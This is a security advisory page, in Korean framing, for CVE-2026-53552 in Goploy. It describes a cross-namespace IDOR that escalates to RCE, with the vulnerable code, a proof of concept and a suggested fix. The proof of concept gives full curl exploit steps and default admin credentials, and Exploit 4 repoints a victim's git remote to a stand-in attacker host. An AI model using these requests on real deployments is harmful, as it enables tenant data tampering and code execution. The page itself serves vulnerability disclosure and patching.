Kestrel
대시보드로 돌아가기
CVE-2026-53552CRITICAL· 9.6GHSA대응게시일: 2026. 07. 07.수정일: 2026. 07. 07.

Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.6critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.19.6CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

상세 설명

Summary

Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.

Affected

zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).

The four handlers and the model lookups have been in this shape across the file API and project metadata API.

Vulnerable code

cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):

text
1func (Project) AddFile(gp *server.Goploy) server.Response {
2 type ReqData struct {
3 ProjectID int64 `json:"projectId" validate:"required,gt=0"`
4 Content string `json:"content" validate:"required"`
5 Filename string `json:"filename" validate:"required"`
6 }
7 var reqData ReqData
8 if err := gp.Decode(&reqData); err != nil { ... }
9
10 filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
11 // ... os.Create(filePath); file.WriteString(reqData.Content)
12 id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
13}

cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):

text
1func (Project) EditFile(gp *server.Goploy) server.Response {
2 type ReqData struct {
3 ID int64 `json:"id" validate:"required,gt=0"`
4 Content string `json:"content" validate:"required"`
5 }
6 var reqData ReqData
7 if err := gp.Decode(&reqData); err != nil { ... }
8
9 projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
10 // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
11 file.WriteString(reqData.Content)
12}

cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):

text
1func (Project) RemoveFile(gp *server.Goploy) server.Response {
2 type ReqData struct {
3 ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
4 }
5 var reqData ReqData
6 if err := gp.Decode(&reqData); err != nil { ... }
7 projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
8 if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
9}

cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):

text
1func (Project) Edit(gp *server.Goploy) server.Response {
2 // ... ReqData has ID, Name, URL, Branch, Script, etc.
3 projectData, err := model.Project{ID: reqData.ID}.GetData()
4 model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
5 if reqData.URL != projectData.URL {
6 srcPath := config.GetProjectPath(projectData.ID)
7 cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
8 cmd.Dir = srcPath
9 }
10}

internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:

sql
1func (pf ProjectFile) GetData() (ProjectFile, error) {
2 err := sq.
3 Select("id, project_id, filename, insert_time, update_time").
4 From(projectFileTable).
5 Where(sq.Eq{"id": pf.ID}).
6 ...
7}

internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:

text
1func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
2 if len(r.permissionIDs) == 0 { return nil }
3 for _, permissionID := range r.permissionIDs {
4 if _, ok := permissionIDs[permissionID]; ok { return nil }
5 }
6 return errors.New("no permission")
7}

Reachable

Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

Proof of concept

Setup against the published Docker image:

bash
1docker network create goploy-net
2docker run -d --name goploy-mysql --network goploy-net \
3 -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
4 mysql:8.0 --default-authentication-plugin=mysql_native_password
5
6# Wait for MySQL, then load schema
7docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
8docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'
9
10# Mount goploy.toml pointing DB at goploy-mysql:3306
11docker run -d --name goploy-app --network goploy-net -p 18080:80 \
12 -v $PWD/repo:/opt/goploy/repository \
13 zhenorzz/goploy:1.17.5

Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:

bash
1# Admin login (default account admin / admin!@# requires first-login change)
2curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
3 -H 'Content-Type: application/json' \
4 -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'
5
6ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'
7
8# Create NS_B
9curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
10# → {"data":{"id":2}}
11
12# Create alice (id=2) and bob (id=3)
13curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
14 -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
15curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
16 -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'
17
18# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
19curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
20 -d '{"namespaceId":1,"userIds":[2],"roleId":1}'
21curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
22 -d '{"namespaceId":2,"userIds":[3],"roleId":1}'
23
24# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
25curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
26 -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
27 "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
28 "transferOption":"-rtv","deployServerMode":"serial",
29 "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
30 "deployFinish":{"mode":"","content":""}}}'
31curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
32 -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'
33
34# Bob logs in (first-login change)
35curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
36 -H 'Content-Type: application/json' \
37 -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'
38
39BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'

Negative control: Bob's own namespace has no projects.

bash
1curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
2# → {"code":0,"data":{"list":[]}}

Exploit 1 — Bob overwrites Alice's file content:

bash
1curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
2 -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
3# → {"code":0,"message":"","data":null}
4
5docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
6# OWNED BY BOB
7# attacker_namespace: ns_b

Exploit 2 — Bob plants a new file in Alice's project directory:

bash
1curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
2 -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
3# → {"code":0,"message":"","data":{"id":2}}
4
5docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
6# .env.attacker alice-secrets.yml

Exploit 3 — Bob deletes Alice's file:

bash
1curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
2 -d '{"projectFileId":1}'
3# → {"code":0,"message":"","data":null}
4# alice-secrets.yml is gone from project_1/.

Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:

bash
1curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
2 -d '{"id":1,"name":"alice-prod","repoType":"git",
3 "url":"git@evil.example.com:attacker/payload.git",
4 "path":"/tmp/deploy/alice","environment":1,"branch":"master",
5 "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
6 "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
7 "deployFinish":{"mode":"","content":""}}}'
8# → {"code":0,"message":"","data":null}
9
10docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \
11 -e "SELECT name,url FROM project WHERE id=1;"
12# alice-prod | git@evil.example.com:attacker/payload.git

Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.

Suggested fix

Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.

internal/model/project_file.go:

sql
1func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
2 var projectFile ProjectFile
3 err := sq.
4 Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
5 From(projectFileTable + " pf").
6 Join("project p ON p.id = pf.project_id").
7 Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}).
8 RunWith(DB).
9 QueryRow().
10 Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
11 &projectFile.InsertTime, &projectFile.UpdateTime)
12 return projectFile, err
13}

internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.

cmd/server/api/project/handler.go:

  • EditFile and RemoveFile switch to model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).
  • AddFile calls a new model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID) precheck before os.Create and AddRow.
  • Edit calls model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID) before EditRow.

sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.

Patch

Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.

Credit

Reported by tonghuaroot.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.